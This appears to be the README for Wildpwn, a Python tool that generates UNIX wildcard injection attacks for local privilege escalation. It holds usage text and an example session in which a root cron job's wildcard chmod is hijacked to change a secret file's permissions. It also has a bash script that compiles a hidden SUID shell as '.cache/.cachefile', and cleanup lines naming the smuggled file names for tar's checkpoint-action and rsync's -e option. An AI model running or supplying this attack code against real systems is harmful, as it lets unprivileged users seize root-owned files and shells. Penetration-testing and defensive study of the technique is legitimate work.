Wildpwn is a Python UNIX wildcard attack tool that helps you generate attacks, based on a paper by Leon Juranic. It’s considered a fairly old-skool attack vector, but it still works quite often.
First things first!
Read: https://www.exploit-db.com/papers/33930/
Basic usage
It goes something like this:
usage: wildpwn.py [-h] [--file FILE] payload folder
Tool to generate unix wildcard attacks
positional arguments:
payload Payload to use: (combined | tar | rsync)
folder Where to write the payloads
optional arguments:
-h, --help show this help message and exit
--file FILE Path to file for taking ownership / change permissions. Use it
with combined attack only.Payload types
- combined: Uses the chown & chmod file reference tricks, described in section 4.1 and 4.2, combined in a single payload.
- tar: Uses the Tar arbitrary command execution trick, described in section 4.3.
- rsync: Uses the Rsync arbitrary command execution trick, described in section 4.4.
Usage example
$ ls -lh /tmp/very_secret_file
-rw-r--r-- 1 root root 2048 jun 28 21:37 /tmp/very_secret_file
$ ls -lh ./pwn_me/
drwxrwxrwx 2 root root 4,0K jun 28 21:38 .
[...]
-rw-rw-r-- 1 root root 1024 jun 28 21:38 secret_file_1
-rw-rw-r-- 1 root root 1024 jun 28 21:38 secret_file_2
[...]
$ python wildpwn.py --file /tmp/very_secret_file combined ./pwn_me/
[!] Selected payload: combined
[+] Done! Now wait for something like: chown uid:gid * (or) chmod [perms] * on ./pwn_me/. Good luck!
[...time passes / some cron gets executed...]
# chmod 000 * (for example)
[...back with the unprivileged user...]
$ ls -lha ./pwn_me/
[...]
-rwxrwxrwx 1 root root 1024 jun 28 21:38 secret_file_1
-rwxrwxrwx 1 root root 1024 jun 28 21:38 secret_file_2
[...]
$ ls -lha /tmp/very_secret_file
-rwxrwxrwx 1 root root 2048 jun 28 21:38 /tmp/very_secret_fileBash scripts used on tar/rsync attacks
#!/bin/sh
# get current user uid / gid
CURR_UID="$(id -u)"
CURR_GID="$(id -g)"
# save file
cat > .cachefile.c << EOF
#include <stdio.h>
int main()
{
setuid($CURR_UID);
setgid($CURR_GID);
execl("/bin/bash", "-bash", NULL);
return 0;
}
EOF
# make folder where the payload will be saved
mkdir .cache
chmod 755 .cache
# compile & give SUID
gcc -w .cachefile.c -o .cache/.cachefile
chmod 4755 .cache/.cachefileClean up (tar)
# clean up
rm -rf ./'--checkpoint=1'
rm -rf ./'--checkpoint-action=exec=sh .webscript'
rm -rf .webscript
rm -rf .cachefile.cClean up (rsync)
# clean up
rm -rf ./'-e sh .syncscript'
rm -rf .syncscript
rm -rf .cachefile.c